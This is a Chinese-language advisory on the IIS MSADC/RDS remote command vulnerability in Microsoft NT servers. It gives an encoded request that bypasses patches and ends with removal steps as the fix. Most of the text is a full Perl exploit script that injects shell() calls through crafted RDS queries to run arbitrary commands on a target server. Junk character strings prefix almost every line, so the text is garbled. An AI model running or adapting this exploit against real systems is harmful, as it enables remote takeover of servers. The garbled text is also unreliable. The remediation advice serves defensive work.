IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"$WZd O". #B 涉及程序：
Z I8p (e Microsoft NT server
C}M0KDF hVd63_OO 描述：
Q PBf++| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&=f%(,+ KVK@Snn
详细：
6ds&n#n 如果你没有时间读详细内容的话，就删除:
0hPm,H*Y] c:\Program Files\Common Files\System\Msadc\msadcs.dll
.9`.\v6R 有关的安全问题就没有了。
0py0z E6,, Sn a7r~ j 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
_3)~{dQ+ g
>X!Q 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
F.JE$)B2EX 关于利用ODBC远程漏洞的描述，请参看:
nF7Ozxm# >:Rc%ILym http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b+w|3bQa 5Eq_L 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
^fRA $t http://www.microsoft.com/security/bulletins/MS99-025faq.asp AR&u9Y)I ^ .k}YSWut 这里不再论述。
Jr#ptf"Wu zhFGMF1 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
FQ );el'_V f}o`3v*z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
{B u^%JEn 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
&Uzg&eB A H`6)v <f uYV# '% #将下面这段保存为txt文件，然后: "perl -x 文件名"
).k=[@@V _m;Y ' #!perl
M*%iMz #
63ht|$G # MSADC/RDS 'usage' (aka exploit) script
RsY|V|< #
y%43w4 # by rain.forest.puppy
9HWtdJ+^C= #
'DVPx%p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
x H\5T! # beta test and find errors!
! )ee{CwNc d6wsT\S use Socket; use Getopt::Std;
$LKniK getopts("e:vd:h:XR", \%args);
i/~A7\:8% 92XzbbLp print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
uQrD}%GI P.LMu if (!defined $args{h} && !defined $args{R}) {
nd-y`@z print qq~
%|4Nmf$:Og Usage: msadc.pl -h <host> { -d <delay> -X -v }
`NrxoU= -h <host> = host you want to scan (ip or domain)
]Rz]"JZ\S -d <seconds> = delay between calls, default 1 second
$dq
R]' -X = dump Index Server path table, if available
]>&au8 -v = verbose
Rs7=v2>I -e = external dictionary file for step 5
GBN^ *I ~fEgrF d Or a -R will resume a command session
2 }t2k > TN(1oJ: ~; exit;}
7) z^*;x m\[r6t]V $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
98G>I(Cw% if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Hj LY\ .S if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
CsXIq.9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
L C/6'4}_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
ShFSBD\M# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
K`D>G< , LX] if (!defined $args{R}){ $ret = &has_msadc;
=fEn h'KE die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:4/ RB%)" [.dF)I3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
mm'Pe4* . "cmd /c ";
"4|D"|wI) $in=<STDIN>; chomp $in;
a//<S?d$: $command="cmd /c " . $in ;
o[0Cv* (;V6L{Rf> if (defined $args{R}) {&load; exit;}
BA53
Ac|IBXGa= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&") ON[|b &try_btcustmr;
2{% U\^- cd#@"&r print "\nStep 2: Trying to make our own DSN...";
`q".P]wtKN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
g7rn|<6FI hr(E, TAe print "\nStep 3: Trying known DSNs...";
{|bf` &known_dsn;
;5?$q hxGZ}zq*S print "\nStep 4: Trying known .mdbs...";
~+7q.XL$$K &known_mdb;
.9PPWY;H 5_9mA4gs@ if (defined $args{e}){
^,qi` Tk print "\nStep 5: Trying dictionary of DSN names...";
=Z2Cg{z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ZXh6Se4o FY@ErA7~ print "Sorry Charley...maybe next time?\n";
9])dLL0 exit;
V )=!pT iG^o@*}a ##############################################################################
O'*KNJX @))PpE`co8 sub sendraw { # ripped and modded from whisker
qlNK } sleep($delay); # it's a DoS on the server! At least on mine...
\x5b=~/ my ($pstr)=@_;
B ;@7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fczId" die("Socket problems\n");
$OldHe[p if(connect(S,pack "SnA4x8",2,80,$target)){
$i;%n1VBg select(S); $|=1;
V)mitRaV print $pstr; my @in=<S>;
Vf: /Kokq select(STDOUT); close(S);
|VQ17*4ff1 return @in;
xy5&}_Y } else { die("Can't connect...\n"); }}
g i#b U +`>Tuz~ ##############################################################################
\]1qAFB5 |
U ) sub make_header { # make the HTTP request
U J* D my $msadc=<<EOT
qwM71B!r POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZxF RE#y~2 User-Agent: ACTIVEDATA
2+ m%f " Host: $ip
B>hf|.GI Content-Length: $clen
-|YG**i/ Connection: Keep-Alive
)!z<q}i5 n** W ADCClientVersion:01.06
d Z K /v Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
-fKo~\Pr
T)? : q --!ADM!ROX!YOUR!WORLD!
h fZY5+Z< Content-Type: application/x-varg
la+ RK Content-Length: $reqlen
P|%uB'|H <[Oe.0SGu EOT
ia6%>^ ; $msadc=~s/\n/\r\n/g;
6}4?, r return $msadc;}
?5-Y '(r 1fU g ##############################################################################
-j9Wf= cNOtfn6?F sub make_req { # make the RDS request
^h\& l{e my ($switch, $p1, $p2)=@_;
WR,MqM20 my $req=""; my $t1, $t2, $query, $dsn;
Is57)( ^.- /enlkZx=8 if ($switch==1){ # this is the btcustmr.mdb query
UEHJ?
} $query="Select * from Customers where City=" . make_shell();
&y_Ya%Z3*e $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
= Lt)15 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
RC?gozBFJ 0P i+ (X elsif ($switch==2){ # this is general make table query
[}:;B$, $query="create table AZZ (B int, C varchar(10))";
Sy() r 6n $dsn="$p1";}
v,]-;V~< i[L5,%5<H elsif ($switch==3){ # this is general exploit table query
?TTtGbvU $query="select * from AZZ where C=" . make_shell();
m#w1?y)Z@X $dsn="$p1";}
y``[CBj f3 PDLQA elsif ($switch==4){ # attempt to hork file info from index server
%n?&#_G| $query="select path from scope()";
;G QCq@)- $dsn="Provider=MSIDXS;";}
t@r>GHO ~(aMKB elsif ($switch==5){ # bad query
I Sa}Km>Q $query="select";
=`<9N % $dsn="$p1";}
3ScOJo ,6VY S\a3 $t1= make_unicode($query);
r)<c
~\0 7 $t2= make_unicode($dsn);
gOb"-;Zw $req = "\x02\x00\x03\x00";
M]|tXo$? $req.= "\x08\x00" . pack ("S1", length($t1));
PzF>yG[ $req.= "\x00\x00" . $t1 ;
jEh Px $req.= "\x08\x00" . pack ("S1", length($t2));
&FrUj>i $req.= "\x00\x00" . $t2 ;
1?I_f A} $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
gI~B _0x return $req;}
R|D%1 @i] YOOcHo.F ##############################################################################
(:er~Y} y[`>,?ns5 sub make_shell { # this makes the shell() statement
N$ oQK( return "'|shell(\"$command\")|'";}
BN7]u5\7 Mbm'cM&} ##############################################################################
!#&`1cYX t?Ku6Z' sub make_unicode { # quick little function to convert to unicode
Dxvizd>VU my ($in)=@_; my $out;
/td RUX for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
(}B3df return $out;}
@=<B8VPJd >G9YYt ~ ##############################################################################
*RYok{w L0\~ K~q sub rdo_success { # checks for RDO return success (this is kludge)
x qSoE[<v my (@in) = @_; my $base=content_start(@in);
,F %2'W if($in[$base]=~/multipart\/mixed/){
R<djW5 ()f return 1 if( $in[$base+10]=~/^\x09\x00/ );}
i 1dE.f ; return 0;}
M:M"7>: &c[ISc>N{ ##############################################################################
Uv ) B PPAcEXsIu sub make_dsn { # this makes a DSN for us
mP*Ct6628n my @drives=("c","d","e","f");
N I
r"i2 print "\nMaking DSN: ";
R E0ud_q2 foreach $drive (@drives) {
l"zwH print "$drive: ";
:_8Nf1B+T my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~`97?6*Ra "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-kk0zg
&|i . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
u_HCXpP!Q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{ k}$L|w return 0 if $2 eq "404"; # not found/doesn't exist
*3iEO> if($2 eq "200") {
+-r ~-b s foreach $line (@results) {
@#r6->%W return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
J5!-<oJ/ } return 0;}
y
g:&cIr, O2qy[]km ##############################################################################
6n A/LW\x WhT5N E9t sub verify_exists {
fK|P144 my ($page)=@_;
k*4!rWr0r& my @results=sendraw("GET $page HTTP/1.0\n\n");
+R8G*2 return $results[0];}
oNhCa>)/ ^>/~MCyM. ##############################################################################
I:6H65(& `O0bba=:= sub try_btcustmr {
, Dab( my @drives=("c","d","e","f");
??#SQSU my @dirs=("winnt","winnt35","winnt351","win","windows");
V_3K((P6 'pnO HT foreach $dir (@dirs) {
xs6k r print "$dir -> "; # fun status so you can see progress
}Y"vUl_I2 foreach $drive (@drives) {
G \z5Ue* print "$drive: "; # ditto
LzTdi%u$0| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
B ({g|}|G+ $reqlenlen=length( "$reqlen" );
"c.@4#/_ $clen= 206 + $reqlenlen + $reqlen;
4#,,_\r
: al
,zxs my @results=sendraw(make_header() . make_req(1,$drive,$dir));
,! H `@Kl if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Xhs*nt%l else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-}1TT@ MWv(/_b ##############################################################################
od)ssL&E~ R=2"5Hy= sub odbc_error {
'':M h Rb my (@in)=@_; my $base;
x7xMSy my $base = content_start(@in);
B [IWgvB(e if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
5?Ukf$)x $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a9u2Wlz $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I5@8=rFk $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K&VMhMVb return $in[$base+4].$in[$base+5].$in[$base+6];}
r=HL!XFk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;i?rd f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
WjBH2 v $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
:K~sazs7J |It&1f z} ##############################################################################
Q@1SqK#-DQ "l{{H&d sub verbose {
E!RlH3 }) my ($in)=@_;
R=<%! return if !$verbose;
4,0 8`5{ print STDOUT "\n$in\n";}
V.%LA. 8 fK _uuw4 ##############################################################################
Eunmc lc 3N i<3v sub save {
h1H$3TpP my ($p1, $p2, $p3, $p4)=@_;
&hUEOif open(OUT, ">rds.save") || print "Problem saving parameters...\n";
H $V`,=H print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
\.'[!GE *c close OUT;}
1V a=.#< vb|
d ##############################################################################
BRa9j:_b D \Y,2!I sub load {
n[B[hAT my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<#wVQ\0C open(IN,"<rds.save") || die("Couldn't open rds.save\n");
R.?PD$;_M @p=<IN>; close(IN);
8aJJ??o{ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
&e78xtA { $target= inet_aton($ip) || die("inet_aton problems");
X~ cdM1z? print "Resuming to $ip ...";
cm0$v8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
UfIr"bU6 if($p[1]==1) {
-
~4na{6x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$;&l{=e2) $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
D|amKW7 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
+cbF $, M4 if (rdo_success(@results)){print "Success!\n";}
.C.b5x! else { print "failed\n"; verbose(odbc_error(@results));}}
xYZ,. elsif ($p[1]==3){
.4ZOm'ko{ if(run_query("$p[3]")){
q6ZewuV. print "Success!\n";} else { print "failed\n"; }}
k }{o:
N elsif ($p[1]==4){
.Cf! 5[0E if(run_query($drvst . "$p[3]")){
*\@RBJGF print "Success!\n"; } else { print "failed\n"; }}
4JyA+OD4 { exit;}
S.{
XS
#u/!
##############################################################################
O c.fvP^ZD N~0ih T G5 sub create_table {
za+)2/
`L my ($in)=@_;
%ZcS"/gf $reqlen=length( make_req(2,$in,"") ) - 28;
-k@1# c+z $reqlenlen=length( "$reqlen" );
f[
2PAz $clen= 206 + $reqlenlen + $reqlen;
vvG"rU my @results=sendraw(make_header() . make_req(2,$in,""));
%|%eGidu return 1 if rdo_success(@results);
4*L* "vKa my $temp= odbc_error(@results); verbose($temp);
fC 3T\@(& return 1 if $temp=~/Table 'AZZ' already exists/;
`x=$n5 = 8 return 0;}
xHqF_10 S# fs:yx'mxV ##############################################################################
?pc bso N:CQ$7T{ j sub known_dsn {
*dxm|F98 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
=@pD>h/~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
sgDSl@lB "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
xXc>YTK' "banner", "banners", "ads", "ADCDemo", "ADCTest");
?68~ g<d, m"-kkH{I foreach $dSn (@dsns) {
c1r+?q$f print ".";
m)LI |
v next if (!is_access("DSN=$dSn"));
Alo L+eN@ if(create_table("DSN=$dSn")){
^_i)X dPU print "$dSn successful\n";
<f`n[QD2z if(run_query("DSN=$dSn")){
}#-@5["-X print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`N&*+!O% print "Something's borked. Use verbose next time\n";}}} print "\n";}
$2,tT;50g LR{b NV[i ##############################################################################
Te[v+jgLY, E
.28G2& sub is_access {
1C<d^D_!p my ($in)=@_;
1r}; cY6 $reqlen=length( make_req(5,$in,"") ) - 28;
@?3^ Ks_ $reqlenlen=length( "$reqlen" );
fm@Pa} , $clen= 206 + $reqlenlen + $reqlen;
_5H~1G%q my @results=sendraw(make_header() . make_req(5,$in,""));
(~%NRH<\ my $temp= odbc_error(@results);
3 tCTPZy verbose($temp); return 1 if ($temp=~/Microsoft Access/);
tjwn Fq I return 0;}
Q"B8l[ 6^t#sEff] ##############################################################################
'`|j{mBhG Ov<c1y;f sub run_query {
'l=> H#}<B my ($in)=@_;
[^?i<z{0C $reqlen=length( make_req(3,$in,"") ) - 28;
Z' >UR.g $reqlenlen=length( "$reqlen" );
;HH%OfQq $clen= 206 + $reqlenlen + $reqlen;
G< =I\T'g; my @results=sendraw(make_header() . make_req(3,$in,""));
Y<u%J#'[ return 1 if rdo_success(@results);
/Jc{aw my $temp= odbc_error(@results); verbose($temp);
dq@
* 8ui return 0;}
qHp2; 1
z~|SmP1 ##############################################################################
Zs{7km LSA6*Q51 sub known_mdb {
b_a k@LYiu my @drives=("c","d","e","f","g");
6r`N\ :18 my @dirs=("winnt","winnt35","winnt351","win","windows");
FZn1$_Svr my $dir, $drive, $mdb;
tW4X+d" my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ju'a Uzn ]hS<"=oj # this is sparse, because I don't know of many
>zDQt7+g; my @sysmdbs=( "\\catroot\\icatalog.mdb",
CuH4~6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-3i(N.)<; "\\system32\\certmdb.mdb",
AWi>(wk< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
c+E \e] { !L8q]]'XM my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Sir1>YEm "\\cfusion\\cfapps\\forums\\forums_.mdb",
k2$pcR,WM "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
fkp(M "\\cfusion\\cfapps\\security\\realm_.mdb",
QNINn>2 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6IV):S ~ "\\cfusion\\database\\cfexamples.mdb",
&Z[+V)6,, "\\cfusion\\database\\cfsnippets.mdb",
Pj]^ p{> "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
(3mL!1\ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
p<(a );<L "\\cfusion\\brighttiger\\database\\cleam.mdb",
zn 0y`9!n? "\\cfusion\\database\\smpolicy.mdb",
<Vk}U "\\cfusion\\database\cypress.mdb",
@IsUY(Gu "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?4U4o<
"\\website\\cgi-win\\dbsample.mdb",
S*=^I2; "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|" WL "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
S9P({iZK ); #these are just
oJ
%Nt&q foreach $drive (@drives) {
m3Wc};yE*Q foreach $dir (@dirs){
ULxQyY;32 foreach $mdb (@sysmdbs) {
=DfI^$Lr: print ".";
zN!yOlp5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
HZ%V>8 8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
<uv `)Q 9 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
p<H_]|7$7U print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
x}pH'S7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
"i(f+N,) \ t1#5 foreach $drive (@drives) {
kJJiDDL0;* foreach $mdb (@mdbs) {
G-2~$ u print ".";
q[VQ?b~9 if(create_table($drv . $drive . $dir . $mdb)){
l"E{ ?4 print "\n" . $drive . $dir . $mdb . " successful\n";
$)"T 9 $>$ if(run_query($drv . $drive . $dir . $mdb)){
p@% Pdx print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
$3l#eKZA } else { print "Something's borked. Use verbose next time\n"; }}}}
.z_nW1id }
{Kr}RR*{X ~`&4?c3p ##############################################################################
BHAFO E *X$qgSW sub hork_idx {
>Qv qH 2 print "\nAttempting to dump Index Server tables...\n";
1Z) P.9c print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
hWbu
Z% $reqlen=length( make_req(4,"","") ) - 28;
{ 22ey`@`h $reqlenlen=length( "$reqlen" );
+58^{_k+% $clen= 206 + $reqlenlen + $reqlen;
.<> t2,Af my @results=sendraw2(make_header() . make_req(4,"",""));
;"Qq/ knVL if (rdo_success(@results)){
_g/d/{-{Q my $max=@results; my $c; my %d;
>*gf1" for($c=19; $c<$max; $c++){
0ZDm[# 7z $results[$c]=~s/\x00//g;
}v2p]D5n. $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
YT oG'#qs $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d*Su
c $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/nA>ox78 $d{"$1$2"}="";}
AZhI~QWo foreach $c (keys %d){ print "$c\n"; }
{ 'A
15 } else {print "Index server doesn't seem to be installed.\n"; }}
JUA%l M !"Q7 >d ##############################################################################
mfI[9G Bf00& PE; sub dsn_dict {
;kZD>G 8 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
u`N rg< while(<IN>){
";(m,i f- $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
qXq#A&
next if (!is_access("DSN=$dSn"));
nbP}a?XC if(create_table("DSN=$dSn")){
:KvZP:T print "$dSn successful\n";
&$CyT6mb^ if(run_query("DSN=$dSn")){
~s4JG V~R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
EH2): print "Something's borked. Use verbose next time\n";}}}
@q<h.#9 print "\n"; close(IN);}
!gLJB p }0E@eL ##############################################################################
D[@- `F U&B(uk(2 sub sendraw2 { # ripped and modded from whisker
)E=B;.FH sleep($delay); # it's a DoS on the server! At least on mine...
,/Gp>Yqx my ($pstr)=@_;
GYIQ[#'d7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A@lM = die("Socket problems\n");
jWxa
[ > if(connect(S,pack "SnA4x8",2,80,$target)){
7mi*#X} print "Connected. Getting data";
?^!J:D? open(OUT,">raw.out"); my @in;
g~K- 'Nw select(S); $|=1; print $pstr;
bt=D<YZk while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
8M!9gvcaO close(OUT); select(STDOUT); close(S); return @in;
b_{+O qI } else { die("Can't connect...\n"); }}
` k
I}p KS~Q[-F1P ##############################################################################
&f 'Lll hOLlZP+ sub content_start { # this will take in the server headers
l>`S<rGe my (@in)=@_; my $c;
8b,Z)"(U3 for ($c=1;$c<500;$c++) {
>^9j>< Z if($in[$c] =~/^\x0d\x0a/){
!lEV^SQJs if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
qfFa" a else { return $c+1; }}}
L L3| U return -1;} # it should never get here actually
fy>3#`T- ! $iwU3~< ##############################################################################
Z%.L d2Q{ x?{l<mc sub funky {
lxXF8c> U my (@in)=@_; my $error=odbc_error(@in);
5C`Vno~v if($error=~/ADO could not find the specified provider/){
',FVT4OMw print "\nServer returned an ADO miscofiguration message\nAborting.\n";
SP2";,%/9 exit;}
;+f (1=x if($error=~/A Handler is required/){
6tVp%@ print "\nServer has custom handler filters (they most likely are patched)\n";
e
jk?If 07 exit;}
: LX!T& if($error=~/specified Handler has denied Access/){
o%]b\Vl6
print "\nServer has custom handler filters (they most likely are patched)\n";
j
y p.2c exit;}}
DP*V|) Sb?v5 ##############################################################################
K~UT@,CS60 ?j!/ Hc/b4 sub has_msadc {
PB8U+ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0""%@X]m my $base=content_start(@results);
4yxf/X) return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
!&KE">3Qu return 0;}
65 &+Fv }VH` \g} ########################
= "Lb5! Jn?Z JZ P6^\*xkMr 解决方案：
='eQh\T) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#c<F,` gdi 2、移除web 目录: /msadc
